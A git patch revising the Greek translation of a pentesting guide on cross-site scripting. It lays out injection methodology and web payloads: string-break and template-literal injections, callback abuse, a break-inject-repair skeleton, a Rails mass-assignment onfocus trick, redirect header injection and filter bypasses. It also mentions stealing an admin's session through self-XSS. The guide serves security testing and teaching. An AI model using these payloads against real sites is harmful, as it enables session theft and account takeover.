From 650556e13256a0013e22a2d69cba24f75243d7a3 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:37:41 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting --- .../xss-cross-site-scripting/README.md | 513 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 50 +- 2 files changed, 320 insertions(+), 243 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index b78d6c4ee..2e5c36ed8 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,82 +2,83 @@ {{#include ../../banners/hacktricks-training.md}} -## Methodology +## Μεθοδολογία -1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα. -2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται. -3. Αν **αντανάκλαται** -1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload: -1. Σε **ακατέργαστο HTML**: -1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML; -2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`; -3. Μπορείτε να παρακάμψετε τις προστασίες; -4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πλευράς πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html); -2. Μέσα σε μια **ετικέτα HTML**: -1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο; -2. Μπορείτε να δημιουργήσετε νέα γεγονότα/χαρακτηριστικά για να εκτελέσετε κώδικα JS; -3. Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS; -4. Μπορείτε να παρακάμψετε τις προστασίες; -3. Μέσα σε **κώδικα JavaScript**: -1. Μπορείτε να διαφύγετε την ετικέτα ``** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**: +Σε αυτή την περίπτωση το input σας ανακλάται ανάμεσα σε **``** tags μιας HTML σελίδας, μέσα σε ένα `.js` αρχείο ή μέσα σε ένα attribute που χρησιμοποιεί το πρωτόκολλο **`javascript:`**: -- Αν ανακλάται μεταξύ των **``** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `` είναι μέσα στον κώδικα HTML. -- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί): +- Αν ανακλάται ανάμεσα σε **``** tags, ακόμα κι αν το input σας είναι μέσα σε οποιοδήποτε είδος quotes, μπορείτε να δοκιμάσετε να εισάγετε `` και να αποδράσετε από αυτό το context. Αυτό λειτουργεί επειδή ο **browser θα πρώτα κάνει parse στα HTML tags** και μετά στο περιεχόμενο, επομένως δεν θα παρατηρήσει ότι το εισαγόμενο `` tag είναι μέσα στον HTML κώδικα. +- Αν ανακλάται **μέσα σε JS string** και το προηγούμενο κόλπο δεν δουλεύει, θα χρειαστεί να **βγείτε** από το string, **εκτελέσετε** τον κώδικά σας και **ανασυνθέσετε** τον JS κώδικα (αν υπάρχει οποιοδήποτε σφάλμα, δεν θα εκτελεστεί: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Αν ανακλάται μέσα σε πρότυπα κυριολεξίας, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Η κωδικοποίηση Unicode** λειτουργεί για να γράψει **έγκυρο κώδικα javascript**: +- Αν ανακλάται μέσα σε template literals μπορείτε να **ενσωματώσετε JS εκφράσεις** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** λειτουργεί για να γράψετε **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Η αναφορά Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσετε συναρτήσεις, μεταβλητές ή κλάσεις μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου μια XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\ -**Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:** +Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώνεις συναρτήσεις, μεταβλητές ή κλάσεις αφού χρησιμοποιηθούν ώστε να μπορείς να εκμεταλλευτείς σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\ +**Έλεγξε την παρακάτω σελίδα για περισσότερες πληροφορίες:** {{#ref}} @@ -95,19 +96,19 @@ js-hoisting.md ### Javascript Function -Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`. +Several web pages have endpoints that **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα συνηθισμένο παράδειγμα που βλέπεις στη φύση είναι κάτι σαν: `?callback=callbackFunc`. -Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **τροποποιώντας την τιμή παραμέτρου** (για παράδειγμα σε 'Vulnerable') και κοιτάζοντας στην κονσόλα για σφάλματα όπως: +Ένας καλός τρόπος για να καταλάβεις αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **η τροποποίηση της τιμής της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξεις στην κονσόλα για σφάλματα όπως: ![](<../../images/image (711).png>) -Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). +Σε περίπτωση που είναι ευάλωτο, μπορείς να καταφέρεις να **προκαλέσεις ένα alert** απλώς στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **ελέγχουν το περιεχόμενο** ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και underscores (**`[\w\._]`**). -Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: +Ωστόσο, ακόμη και με αυτόν τον περιορισμό είναι ακόμα δυνατό να εκτελεστούν ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείς να χρησιμοποιήσεις αυτούς τους έγκυρους χαρακτήρες για να **προσπελάσεις οποιοδήποτε στοιχείο στο DOM**: ![](<../../images/image (747).png>) -Ορισμένες χρήσιμες συναρτήσεις για αυτό: +Μερικές χρήσιμες συναρτήσεις για αυτό: ``` firstElementChild lastElementChild @@ -115,11 +116,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -Μπορείτε επίσης να προσπαθήσετε να **ενεργοποιήσετε συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`. +Μπορείτε επίσης να δοκιμάσετε να **trigger Javascript functions** απευθείας: `obj.sales.delOrders`. -Ωστόσο, συνήθως τα endpoints που εκτελούν τη δηλωμένη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες. +Ωστόσο, συνήθως τα endpoints που εκτελούν την ενδεικνυόμενη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **other pages in the same origin** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες. + +Επομένως, για να **εκμεταλλευτείτε αυτή την ευπάθεια σε διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**: -Επομένως, προκειμένου να **καταχραστείτε αυτήν την ευπάθεια σε διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**: {{#ref}} some-same-origin-method-execution.md @@ -127,7 +129,8 @@ some-same-origin-method-execution.md ### DOM -Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο κώδικα JS. +Υπάρχει **JS code** που χρησιμοποιεί **ανεπαρκώς ασφαλή** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως `location.href`. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο JS code. + {{#ref}} dom-xss.md @@ -135,13 +138,15 @@ dom-xss.md ### **Universal XSS** -Αυτού του είδους οι XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη μιας διαδικτυακής εφαρμογής αλλά από **οποιοδήποτε** **περίγραμμα**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμη και να καταχραστεί για να αποκτήσει **RCE**, **να διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και άλλα.\ -Ορισμένα **παραδείγματα**: +Αυτός ο τύπος XSS μπορεί να βρεθεί **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση της πλευράς client μιας web εφαρμογής αλλά από **οποιοδήποτε** **πλαίσιο**. Αυτός ο τύπος **αυθαίρετης εκτέλεσης JavaScript** μπορεί ακόμη να χρησιμοποιηθεί για να αποκτηθεί **RCE**, να **διαβαστούν** **αυθαίρετα** **αρχεία** σε clients και servers, και άλλα.\ +Κάποια **παραδείγματα**: + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} @@ -150,13 +155,13 @@ server-side-xss-dynamic-pdf.md ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Εισαγωγή μέσα σε ακατέργαστο HTML +## Injecting inside raw HTML -Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML κωδικοποιημένος** ή **διαγραμμένος** ή αν είναι **αντικατοπτρισμένος χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτήν την περίπτωση**.\ -Για αυτές τις περιπτώσεις, επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*ή \*\***`--!>`\*\*_ +Όταν το input σας αντανακλάται **μέσα στη σελίδα HTML** ή μπορείτε να διαφύγετε και να εισάγετε HTML κώδικα σε αυτό το context, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να εκμεταλλευτείτε το `<` για να δημιουργήσετε νέα tags: Απλά δοκιμάστε να **ανακλάσετε** αυτό το **char** και ελέγξτε αν γίνεται **HTML encoded** ή **διαγράφεται** ή αν **ανακλάται χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να το εκμεταλλευτείτε**.\ +Για αυτές τις περιπτώσεις επίσης **να έχετε υπόψη** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*ή \*\***`--!>`\*\*_ -Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: +Σε αυτή την περίπτωση και αν δεν χρησιμοποιείται black/whitelisting, μπορείτε να χρησιμοποιήσετε payloads όπως: ```html ` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. +Σε αυτές τις περιπτώσεις, το **input** σας θα αντανακλάται μέσα στον κώδικα JS ενός `.js` αρχείου ή ανάμεσα σε `` tags ή σε HTML events που μπορούν να εκτελέσουν JS κώδικα ή σε attributes που δέχονται το `javascript:` protocol. -### Διαφυγή ετικέτας \` μπορείς εύκολα να **διαφύγεις κλείνοντας την ετικέτα ``, μπορείτε εύκολα να **αποδράσετε κλείνοντας την ετικέτα ` ``` -Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει την απλή παράθεση**. Αυτό συμβαίνει επειδή **η ανάλυση HTML εκτελείται πρώτα από τον περιηγητή**, η οποία περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων των μπλοκ σεναρίου. Η ανάλυση της JavaScript για να κατανοήσει και να εκτελέσει τα ενσωματωμένα σενάρια πραγματοποιείται μόνο αργότερα. +Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει το απλό απόστροφο**. Αυτό συμβαίνει επειδή **η ανάλυση του HTML γίνεται πρώτα από το πρόγραμμα περιήγησης**, η οποία περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση του JavaScript για να κατανοηθούν και να εκτελεστούν τα ενσωματωμένα scripts πραγματοποιείται μόνο κατόπιν. ### Μέσα στον κώδικα JS -Εάν τα `<>` απολυμαίνονται, μπορείτε ακόμα να **διαφύγετε τη συμβολοσειρά** όπου η είσοδός σας είναι **τοποθετημένη** και να **εκτελέσετε αυθαίρετη JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη JS**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί: +Αν τα `<>` φιλτράρονται, μπορείς παρ' όλα αυτά να **escape the string** στο σημείο όπου βρίσκεται το input σου και να **execute arbitrary JS**. Είναι σημαντικό να **fix JS syntax**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### Template literals \`\` +#### JS-in-JS string break → inject → repair pattern -Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\ -Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**: +Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα quoted JavaScript string (π.χ., server-side echo σε ένα inline script), μπορείτε να τερματίσετε το string, να inject code και να repair τη σύνταξη ώστε το parsing να παραμείνει έγκυρο. Γενικός σκελετός: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Παράδειγμα προτύπου URL όταν η ευάλωτη παράμετρος αντικατοπτρίζεται σε JS string: +``` +?param=test";;a=" +``` +This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords. -Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας: +### Template literals `` + +Για να κατασκευάσετε **συμβολοσειρές**, πέρα από τα μονά και διπλά quotes, το JS αποδέχεται επίσης **backticks** **` `` `** .\ +Αυτό είναι γνωστό ως template literals καθώς επιτρέπει την **ενσωμάτωση JS εκφράσεων** χρησιμοποιώντας τη σύνταξη `${ ... }`.\ +Επομένως, αν διαπιστώσετε ότι η είσοδός σας γίνεται **reflected** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -514,15 +532,30 @@ loop`` This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScript νέες γραμμές (από** [**JavaScript νέες γραμμές**](#javascript-new-lines) **κόλπο)** +**Νέες γραμμές JavaScript (από το** [**JavaScript new line**](#javascript-new-lines) **κόλπο)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -681,7 +714,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Κλήση αυθαίρετης συνάρτησης (alert)** +**Κλήση αυθαίρετης function (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -741,64 +774,64 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **Ευπάθειες DOM** +## **DOM vulnerabilities** -Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\ -**Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM, μεταφέρθηκε σε αυτή τη σελίδα**](dom-xss.md)**:** +Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλή δεδομένα ελεγχόμενα από attacker** όπως `location.href`. Ο attacker μπορεί να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο JS code.\ +**Εξαιτίας της έκτασης της εξήγησης των** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\ -Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering). +Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται, και πώς να τις εκμεταλλευτείτε**.\ +Επίσης, μην ξεχάσετε ότι **στο τέλος του αναφερόμενου άρθρου** μπορείτε να βρείτε μια εξήγηση σχετικά με [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). ### Αναβάθμιση Self-XSS ### Cookie XSS -Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό είναι συνήθως ένα self-XSS. Ωστόσο, αν βρείτε ένα **ευάλωτο υποτομέα σε XSS**, θα μπορούσατε να εκμεταλλευτείτε αυτό το XSS για να εισάγετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα υποτομέα (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing: +Αν μπορείτε να προκαλέσετε XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα **vulnerable subdomain to XSS**, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο main domain ή σε άλλα subdomains (αυτά που είναι vulnerable σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε το cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Μπορείτε να βρείτε μια εξαιρετική εκμετάλλευση αυτής της τεχνικής σε [**αυτή την ανάρτηση blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +Μπορείτε να βρείτε μια εξαιρετική κατάχρηση αυτής της τεχνικής σε [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). -### Αποστολή της συνεδρίας σας στον διαχειριστή +### Sending your session to the admin -Ίσως ένας χρήστης μπορεί να μοιραστεί το προφίλ του με τον διαχειριστή και αν το self XSS είναι μέσα στο προφίλ του χρήστη και ο διαχειριστής το αποκτήσει, θα ενεργοποιήσει την ευπάθεια. +Ίσως ένας user να μπορεί να μοιραστεί το profile του με τον admin και αν το self XSS βρίσκεται μέσα στο profile του user και ο admin το ανοίξει, θα ενεργοποιήσει την ευπάθεια. -### Αντανάκλαση Συνεδρίας +### Session Mirroring -Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει, θα βλέπει αυτό που βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία. +Αν βρείτε self XSS και η σελίδα έχει **session mirroring for administrators**, για παράδειγμα επιτρέποντας στους clients να ζητήσουν βοήθεια και ώστε ο admin να σας βοηθήσει θα βλέπει αυτό που βλέπετε στην session σας αλλά από τη δική του session. -Θα μπορούσατε να κάνετε τον **διαχειριστή να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/συνεδρία του. +Μπορείτε να κάνετε τον **administrator να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/session του. -## Άλλες Παράκαμψεις +## Other Bypasses -### Κανονικοποιημένο Unicode +### Normalised Unicode -Μπορείτε να ελέγξετε αν οι **αντανάκλαση τιμές** κανονικοποιούνται σε **unicode** στον διακομιστή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτή τη λειτουργία για να παρακάμψετε τις προστασίες. [**Βρείτε ένα παράδειγμα εδώ**](../unicode-injection/index.html#xss-cross-site-scripting). +Μπορείτε να ελέγξετε αν οι **reflected values** κανονικοποιούνται ως **unicode normalized** στον server (ή στο client side) και να καταχραστείτε αυτή τη λειτουργικότητα για να παρακάμψετε protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -### Παράκαμψη σημαίας PHP FILTER_VALIDATE_EMAIL +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass -Λόγω της **RoR μαζικής ανάθεσης** εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\ -Παράδειγμα φόρμας ([από αυτή την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το payload: +Εξαιτίας του **RoR mass assignment** εισαγωγικά εισάγονται στο HTML και τότε ο περιορισμός των εισαγωγικών παρακάμπτεται και πρόσθετα πεδία (onfocus) μπορούν να προστεθούν μέσα στο tag.\ +Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), αν στείλεις το payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Το ζεύγος "Key","Value" θα αναπαραχθεί όπως εξής: +Το ζεύγος "Key","Value" θα επιστραφεί ως εξής: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Τότε, το χαρακτηριστικό onfocus θα εισαχθεί και θα συμβεί XSS. +Τότε, το onfocus attribute θα εισαχθεί και θα προκύψει XSS. ### Ειδικοί συνδυασμοί ```html @@ -830,24 +863,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS με έγχυση κεφαλίδων σε απόκριση 302 +### XSS with header injection in a 302 response -Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο. +Αν διαπιστώσετε ότι μπορείτε να **inject headers σε μια 302 Redirect response** μπορείτε να προσπαθήσετε να **αναγκάσετε το browser να εκτελέσει αυθαίρετο JavaScript**. Αυτό δεν είναι **εύκολο** καθώς οι σύγχρονοι browsers δεν ερμηνεύουν το HTTP response body όταν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο. -Στο [**αυτή την αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\ -Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`. +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\ +Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### Μόνο Γράμματα, Αριθμοί και Τελείες +### Only Letters, Numbers and Dots -Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα αυτής της ανάρτησης**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά. +Εάν μπορείτε να καθορίσετε το **callback** που το javascript πρόκειται να **εκτελέσει** περιορισμένο σε αυτούς τους χαρακτήρες. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour. -### Έγκυροι ` @@ -946,11 +981,11 @@ import { partition } from "lodash" ``` -### Ειδικά Πρότυπα Αντικατάστασης +### Ειδικά πρότυπα αντικατάστασης -Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", )`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Όταν κάτι σαν **`"some {{template}} data".replace("{{template}}", )`** χρησιμοποιείται. Ο attacker θα μπορούσε να χρησιμοποιήσει [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **ξεφύγει μια συμβολοσειρά JSON** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα. +For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code. ### Chrome Cache to XSS @@ -959,9 +994,9 @@ import 